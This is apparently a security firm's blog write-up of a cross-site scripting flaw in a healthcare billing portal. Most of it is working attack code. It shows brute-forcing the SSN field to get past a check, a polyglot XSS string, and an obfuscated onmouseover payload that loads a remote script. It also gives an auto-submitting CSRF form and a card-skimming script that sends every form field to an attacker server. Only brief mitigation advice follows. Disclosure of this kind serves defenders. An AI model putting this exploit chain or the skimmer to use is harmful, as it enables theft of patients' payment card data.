Skip to main content

Today, we will delve into a significant security flaw discovered within a healthcare billing system. The vulnerability in question is a Cross-Site Scripting (XSS) issue that was uncovered through an unconventional entry point: the social security number field. By inputting “9999” as the social security number, individuals could bypass the system’s security checks and gain unauthorized access to the payment page. This security lapse is further compounded by the fact that the system allowed the insertion of arbitrary account numbers, leaving it wide open to potential exploitation.

The crux of this specific vulnerability lies in the system’s handling of specific character sets, which were inadvertently converted into a backslash. This conversion effectively “escaped” the attribute quote, creating an opening for attackers to append an additional HTML attribute. This article will provide a detailed analysis of the vulnerability, its implications for security, and the measures that can be taken to mitigate such risks in the future.

Firstly, as we enter the site, we are hit with a “Pay Your Bill” page.

As we do not have an account at this organization, our first thought was to try and enter the “pay by card” page with no account number and by using “0000” through “9999” for the social security number, just to see what happens. Opening up burpsuite, we can easily do this with the intruder function.

We made sure to set our min integer digits to 4 so we can always have 4 characters, and still iterate through the first 1000 numbers. After running the above, we discovered that putting “9999” allows us to get to the payment page

As shown above, we can also put any characters in our account number. Using polyglots, we discovered that ‘/* would be turned into a backslash. Leveraging a polyglot made by 0xsobky, we could find this exact sequence of characters.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

We will show what the actual HTML looks like shortly, but let’s try adding an attribute.

Excellent! As you can see above, the value attribute’s quote is escaped and jumped over by the page, allowing us to append the “onclick” attribute. We also use backticks to avoid the need for quotes. After clicking inside the account number box, the following happens:

Now we can get into the fun part, weaponization! We swapped our attribute gadget from “onclick” to “onmouseover”, allowing us to trigger the vulnerability more easily. We attempted a couple of other gadgets like onerror, onload, etc… But had no luck and required a gadget that needed user interaction.

'/* onmouseover=javascript:eval(atob(`dmFyIHMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTsgcy5zcmMgPSAiaHR0cHM6Ly9zY3JpcHQuY29tIjsgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzKTsK`))

The above payload will execute the following base64 encoded string (by using “eval(atob(base64….))”):

echo 'var s = document.createElement("script"); s.src = "https://script.com"; document.body.appendChild(s);' | base64

Considering that this is also a post request initially to get to the billing page, we’ll need to chain this with a CSRF (Client-side Request Forgery).

<!DOCTYPE html>
<html>
<body onload="document.forms[0].submit()">

<form action="https://billing.victim-company.com/payment" method="post">
  <input type="hidden" name="account_num" value="/*-/*`/*\`/*'/*&quot;/**/(/*+*/style=width:1000px;height:1000px;+onmouseover=javascript:eval(atob(`dmFyIHMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTsgcy5zcmMgPSAiaHR0cHM6Ly9zY3JpcHQuY29tIjsgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzKTsK`))+)//%0D">
  <input type="hidden" name="ssn" value="9999">
  <input type="hidden" name="submitcc" value="Pay by Card">
</form>

</body>
</html>

So we are now at the point where we can execute an arbitrary script on a victims browser. Earlier in this article, we talked about credit card theft. To demonstrate impact to our client, we coded the following script, which would create listeners on all forms, and send the contents to our attack server. This would allow us to steal credit cards once the victim has entered in their details and clicked the submit button.

window.onload = function() {
    // get all forms
    var forms = document.getElementsByTagName('form');

    // attach a submit event handler to each form
    for (var i = 0; i < forms.length; i++) {
        forms[i].addEventListener('submit', function(event) {
            event.preventDefault();  // Prevent the form from submitting normally

            // get inputs
            var inputs = this.getElementsByTagName('input');
            var params = [];
            for (var j = 0; j < inputs.length; j++) {
                params.push(encodeURIComponent(inputs[j].name) + '=' + encodeURIComponent(inputs[j].value));
            }
            var url = 'https://attack-server.xyz/?' + params.join('&');

            // send GET to our server
            fetch(url)
                .then(response => response.text())
                .then(data => console.log(data))
                .catch(error => console.error('Error:', error));
        });
    }
};

While we did not have source code access, we have some sound advice to prevent vulnerabilities like this. Character conversion post-filtering/sanitization can be extremely dangerous and lead to these sorts of attacks. Given the specific character conversion we abused, it is likely an indicator that they are doing some custom conversion to prevent SQL Injections. We did test for this as it was a good indicator that they are not using parameterized queries; however, they were not vulnerable to such attacks.

For more content on exploitation and vulnerabilities, please see our other articles!